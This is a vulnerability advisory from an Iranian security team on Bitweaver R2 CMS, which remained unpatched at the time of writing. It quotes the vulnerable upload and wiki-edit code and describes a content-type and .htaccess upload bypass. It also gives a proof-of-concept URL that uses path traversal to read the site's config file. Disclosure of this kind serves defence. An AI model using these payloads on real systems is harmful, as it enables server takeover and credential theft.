########################## WwW.BugReport.ir #########################

AmnPardaz Security Research Team

Title: Bitweaver R2 CMS

Vendor: http://www.bitweaver.org

Bugs: source code disclosure, arbitrary file upload

Vulnerable Version: 2 (prior versions also may be affected)

Exploitation: Remote with browser

Fix Available: No!

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• Description:
  ####################

Bitweaver is an open source content management system. Its speed and
power are ideal for large-scale community websites and corporate
applications, but it is simple enough for non-technical small site
users to set up and administrate.

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• Vulnerability:
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±-> arbitrary file upload

Code Snippet:

/fisheye/upload.php line#32-45

    $i = 0;
    foreach( array_keys( $_FILES ) as $key ) {
            if( preg_match( '/(^image|pdf)/i', $_FILES[$key]['type'] ) ) {
                    $upImages[$key] = $_FILES[$key];
                    if( !empty( $_REQUEST['imagedata'][$i] ) ) {
                            $upData[$key] = $_REQUEST['imagedata'][$i];
                    } else {
                            $upData[$key] = array();
                    }
            } elseif( !empty( $_FILES[$key]['tmp_name'] ) && !empty(  

$_FILES[$key]['name'] ) ) {
$upArchives[$key] = $_FILES[$key];
}
$i++;
}

It's possible to upload arbitrary files with image/gif content-type
(this can be changed via local proxy or direct content altertion)
also its possible for an attacker to bypass "/storage/.htaccess"
restriction by uploadding his own .htaccess and control server settings.

±->source code disclosure

Code Snippet:

/wiki/edit.php line#179-195

if( isset( $_REQUEST["suck_url"] ) ) {
// Suck another page and append to the end of current
require_once( UTIL_PKG_PATH.'htmlparser/html_parser_inc.php' );
$suck_url = isset( $_REQUEST["suck_url"] ) ? $_REQUEST["suck_url"] : '';
$parsehtml = isset( $_REQUEST["parsehtml"] ) ? (
$_REQUEST["parsehtml"] == 'on' ? 'y' : 'n' ): 'n';
if( isset( $_REQUEST['do_suck'] ) && strlen( $suck_url ) > 0 ) {
.
.
.
$sdta = @file_get_contents( $suck_url );

POC:
http://localhost/bitweaver/wiki/edit.php?page=SandBox&suck_url=./../kernel/config_inc.php&do_suck=h

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• Credit :
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  Original Advisory:http://www.bugreport.ir/?/24
  AmnPardaz Security Research Team
  Contact: admin[4t}bugreport{d0t]ir
  WwW.BugReport.ir
  WwW.AmnPardaz.com